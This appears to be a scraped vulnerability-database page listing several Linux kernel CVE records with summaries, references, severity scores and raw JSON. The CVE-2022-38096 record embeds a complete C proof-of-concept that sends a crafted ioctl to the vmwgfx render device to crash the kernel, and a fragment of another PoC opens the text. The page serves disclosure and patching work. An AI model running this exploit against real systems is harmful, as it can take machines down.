poc(handle,sid);            \n  \n}"
        }
      ],
      "metrics": [
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          "cvssV3_1": {
            "attackComplexity": "LOW",
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          }
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        "discovery": "INTERNAL"
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      "title": "There is an out-of-bounds write vulnerability in vmwgfx driver",
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CVE-2021-4203 (GCVE-0-2021-4203)

Vulnerability from cvelistv5

Published

2022-03-25 00:00

Modified

2024-08-03 17:16

Severity ?

CWE

CWE-362 - ->CWE-416

Summary

A use-after-free read flaw was found in sock_getsockopt() in net/core/sock.c due to SO_PEERCRED and SO_PEERGROUPS race with listen() (and connect()) in the Linux kernel. In this flaw, an attacker with a user privileges may crash the system or leak internal kernel information.

References

URL

Tags

	https://bugzilla.redhat.com/show_bug.cgi?id=2036934
	https://bugs.chromium.org/p/project-zero/issues/detail?id=2230&can=7&q=modified-after%3Atoday-30&sort=-modified&colspec=ID%20Type%20Status%20Priority%20Milestone%20Owner%20Summary%20Modified%20Cve&cells=tiles&redir=1
	https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=35306eb23814
	https://lore.kernel.org/netdev/20210929225750.2548112-1-eric.dumazet%40gmail.com/T/
	https://www.oracle.com/security-alerts/cpujul2022.html
	https://security.netapp.com/advisory/ntap-20221111-0003/

Impacted products

	Vendor	Product	Version
	n/a	kernel	Version: kernel 5.15 rc4

Show details on NVD website

JSON

To clipboard

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  "containers": {
    "adp": [
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            "url": "https://bugs.chromium.org/p/project-zero/issues/detail?id=2230\u0026can=7\u0026q=modified-after%3Atoday-30\u0026sort=-modified\u0026colspec=ID%20Type%20Status%20Priority%20Milestone%20Owner%20Summary%20Modified%20Cve\u0026cells=tiles\u0026redir=1"
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          "product": "kernel",
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CVE-2023-0590 (GCVE-0-2023-0590)

Vulnerability from cvelistv5

Published

2023-03-23 00:00

Modified

2024-08-02 05:17

Severity ?

CWE

CWE-416

Summary

A use-after-free flaw was found in qdisc_graft in net/sched/sch_api.c in the Linux Kernel due to a race problem. This flaw leads to a denial of service issue. If patch ebda44da44f6 ("net: sched: fix race condition in qdisc_graft()") not applied yet, then kernel could be affected.

References

URL

Tags

	https://lore.kernel.org/all/20221018203258.2793282-1-edumazet%40google.com/
	https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html	mailing-list

Impacted products

	Vendor	Product	Version
	n/a	Kernel	Version: Linux kernel 6.1-rc2

Show details on NVD website

JSON

To clipboard

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CVE-2023-0045 (GCVE-0-2023-0045)

Vulnerability from cvelistv5

Published

2023-04-25 22:44

Modified

2025-02-13 16:38

Severity ?

4.7 (Medium) - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-610 - Externally Controlled Reference to a Resource in Another Sphere

Summary

The current implementation of the prctl syscall does not issue an IBPB immediately during the syscall. The ib_prctl_set function updates the Thread Information Flags (TIFs) for the task and updates the SPEC_CTRL MSR on the function __speculation_ctrl_update, but the IBPB is only issued on the next schedule, when the TIF bits are checked. This leaves the victim vulnerable to values already injected on the BTB, prior to the prctl syscall. The patch that added the support for the conditional mitigation via prctl (ib_prctl_set) dates back to the kernel 4.9.176. We recommend upgrading past commit a664ec9158eeddd75121d39c9a0758016097fa96

References

URL

Tags

	https://git.kernel.org/tip/a664ec9158eeddd75121d39c9a0758016097fa96
	https://lists.debian.org/debian-lts-announce/2023/05/msg00005.html
	https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html
	https://security.netapp.com/advisory/ntap-20230714-0001/
	https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8

Impacted products

	Vendor	Product	Version
	Linux	Linux Kernel	Version: 9137bb27e60e

Show details on NVD website

JSON

To clipboard

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                "id": "CVE-2023-0045",
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                "role": "CISA Coordinator",
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      "providerMetadata": {
        "dateUpdated": "2023-07-23T01:41:15.247Z",
        "orgId": "14ed7db2-1595-443d-9d34-6215bf890778",
        "shortName": "Google"
      },
      "references": [
        {
          "url": "https://git.kernel.org/tip/a664ec9158eeddd75121d39c9a0758016097fa96"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00005.html"
        },
        {
          "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20230714-0001/"
        },
        {
          "url": "https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Incorrect indirect branch prediction barrier in the Linux Kernel",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "14ed7db2-1595-443d-9d34-6215bf890778",
    "assignerShortName": "Google",
    "cveId": "CVE-2023-0045",
    "datePublished": "2023-04-25T22:44:57.262Z",
    "dateReserved": "2023-01-04T10:07:20.469Z",
    "dateUpdated": "2025-02-13T16:38:41.984Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2022-38096 (GCVE-0-2022-38096)

Vulnerability from cvelistv5

Published

2022-09-09 14:39

Modified

2024-09-16 19:46

Severity ?

6.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H

CWE

CWE-476 - NULL Pointer Dereference

Summary

A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).

References

URL

Tags

	https://bugzilla.openanolis.cn/show_bug.cgi?id=2073
	https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html	mailing-list

Impacted products

	Vendor	Product	Version
	Linux	kernel	Version: v4.20-rc1 < 5.13.0-52*

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.14",
                "status": "affected",
                "version": "v4.20-rc1",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-38096",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-26T13:45:25.191519Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-26T13:49:29.690Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T10:45:52.802Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
          },
          {
            "name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
            "tags": [
              "mailing-list",
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "kernel",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.13.0-52*",
              "status": "affected",
              "version": "v4.20-rc1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
        }
      ],
      "datePublic": "2022-09-06T00:00:00",
      "descriptions": [
        {
          "lang": "en",
          "value": "A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid){  \nint cmd[0x1000]={0};\ncmd[0]=1165;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=sid;\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context();  \n  printf(\"%d\",cid);     \n    poc(cid);            \n  \n}"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476 NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-06-25T21:08:05.642043",
        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
        "shortName": "Anolis"
      },
      "references": [
        {
          "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
        },
        {
          "name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
          "tags": [
            "mailing-list"
          ],
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
        }
      ],
      "source": {
        "defect": [
          "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
        ],
        "discovery": "INTERNAL"
      },
      "title": "There is a NULL pointer vulnerability in vmwgfx driver",
      "x_generator": {
        "engine": "Vulnogram 0.0.9"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
    "assignerShortName": "Anolis",
    "cveId": "CVE-2022-38096",
    "datePublished": "2022-09-09T14:39:51.163117Z",
    "dateReserved": "2022-09-07T00:00:00",
    "dateUpdated": "2024-09-16T19:46:43.355Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Tags

Taxonomy of the tags.

All sightings related to this event Export sightings related to this event

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

CERTFR-2023-AVI-0259

Vulnerability from certfr_avis

Solution

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CVE-2021-4203 (GCVE-0-2021-4203)

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CVE-2023-0590 (GCVE-0-2023-0590)

Vulnerability from cvelistv5

CVE-2023-0045 (GCVE-0-2023-0045)

Vulnerability from cvelistv5

CVE-2022-38096 (GCVE-0-2022-38096)

Vulnerability from cvelistv5

Tags

Sightings

Nomenclature